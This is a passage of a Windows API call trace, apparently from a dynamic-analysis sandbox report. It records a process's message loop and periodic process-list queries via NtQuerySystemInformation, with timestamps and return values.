wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0307.753] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0307.753] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0307.753] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0307.753] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0307.753] WaitMessage () returned 1 [0308.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.286] IsWindowUnicode (hWnd=0x10166) returned 1 [0308.286] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.286] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0308.286] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0308.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.286] WaitMessage () returned 1 [0308.439] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.439] IsWindowUnicode (hWnd=0x1015c) returned 1 [0308.439] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.440] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0308.440] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0308.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0308.441] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.441] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.441] WaitMessage () returned 1 [0308.814] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.814] IsWindowUnicode (hWnd=0x10166) returned 1 [0308.814] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0308.814] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0308.814] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0308.814] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.814] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0308.814] WaitMessage () returned 1 [0309.353] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0309.354] IsWindowUnicode (hWnd=0x10166) returned 1 [0309.354] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0309.354] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0309.354] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0309.354] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0309.354] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0309.354] WaitMessage () returned 1 [0309.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0309.875] IsWindowUnicode (hWnd=0x10166) returned 1 [0309.875] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0309.875] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0309.875] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0309.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0309.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0309.875] WaitMessage () returned 1 [0310.405] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.405] IsWindowUnicode (hWnd=0x10166) returned 1 [0310.405] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.405] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0310.405] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0310.405] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.405] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.405] WaitMessage () returned 1 [0310.452] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.452] IsWindowUnicode (hWnd=0x1015c) returned 1 [0310.452] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.452] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0310.452] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0310.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0310.453] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.453] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.453] WaitMessage () returned 1 [0310.935] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.935] IsWindowUnicode (hWnd=0x10166) returned 1 [0310.935] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0310.936] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0310.936] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0310.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0310.936] WaitMessage () returned 1 [0311.480] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0311.480] IsWindowUnicode (hWnd=0x10166) returned 1 [0311.480] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0311.480] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0311.480] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0311.480] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0311.480] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0311.480] WaitMessage () returned 1 [0311.996] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0311.996] IsWindowUnicode (hWnd=0x10166) returned 1 [0311.996] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0311.996] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0311.996] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0311.996] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0311.997] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0311.997] WaitMessage () returned 1 [0312.464] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0312.464] IsWindowUnicode (hWnd=0x1015c) returned 1 [0312.464] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0312.464] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0312.464] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0312.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f78) returned 0x0 [0312.466] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0312.466] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0312.466] WaitMessage () returned 1 [0312.526] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0312.526] IsWindowUnicode (hWnd=0x10166) returned 1 [0312.526] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0312.526] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0312.527] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0312.527] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0312.527] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0312.527] WaitMessage () returned 1 [0313.058] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0313.059] IsWindowUnicode (hWnd=0x10166) returned 1 [0313.059] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0313.059] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0313.059] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0313.059] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0313.059] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0313.059] WaitMessage () returned 1 [0313.587] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0313.587] IsWindowUnicode (hWnd=0x10166) returned 1 [0313.587] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0313.588] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0313.588] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0313.588] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0313.588] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0313.588] WaitMessage () returned 1 [0314.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.118] IsWindowUnicode (hWnd=0x10166) returned 1 [0314.118] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.118] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0314.118] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0314.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.118] WaitMessage () returned 1 [0314.477] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.478] IsWindowUnicode (hWnd=0x1015c) returned 1 [0314.478] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.478] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0314.478] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0314.478] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f78) returned 0x0 [0314.479] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.480] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.480] WaitMessage () returned 1 [0314.648] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.648] IsWindowUnicode (hWnd=0x10166) returned 1 [0314.648] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0314.648] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0314.648] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0314.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0314.649] WaitMessage () returned 1 [0315.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0315.179] IsWindowUnicode (hWnd=0x10166) returned 1 [0315.179] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0315.179] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0315.179] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0315.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0315.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0315.179] WaitMessage () returned 1 [0315.711] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0315.712] IsWindowUnicode (hWnd=0x10166) returned 1 [0315.712] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0315.712] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0315.712] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0315.712] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0315.712] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0315.712] WaitMessage () returned 1 [0316.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.240] IsWindowUnicode (hWnd=0x10166) returned 1 [0316.240] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.240] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0316.240] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0316.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.240] WaitMessage () returned 1 [0316.489] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.489] IsWindowUnicode (hWnd=0x1015c) returned 1 [0316.490] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.490] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0316.490] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0316.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f78) returned 0x0 [0316.491] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.491] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.491] WaitMessage () returned 1 [0316.770] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.770] IsWindowUnicode (hWnd=0x10166) returned 1 [0316.770] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0316.770] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0316.770] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0316.770] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.770] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0316.770] WaitMessage () returned 1 [0317.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0317.300] IsWindowUnicode (hWnd=0x10166) returned 1 [0317.300] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0317.300] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0317.300] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0317.301] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0317.301] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0317.301] WaitMessage () returned 1 [0317.831] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0317.831] IsWindowUnicode (hWnd=0x10166) returned 1 [0317.831] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0317.831] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0317.831] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0317.831] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0317.832] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0317.832] WaitMessage () returned 1 [0318.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.364] IsWindowUnicode (hWnd=0x10166) returned 1 [0318.364] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.364] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0318.364] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0318.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.364] WaitMessage () returned 1 [0318.516] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.517] IsWindowUnicode (hWnd=0x1015c) returned 1 [0318.517] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.518] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0318.518] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0318.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0318.519] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.519] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.519] WaitMessage () returned 1 [0318.893] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.893] IsWindowUnicode (hWnd=0x10166) returned 1 [0318.893] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0318.893] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0318.893] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0318.893] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 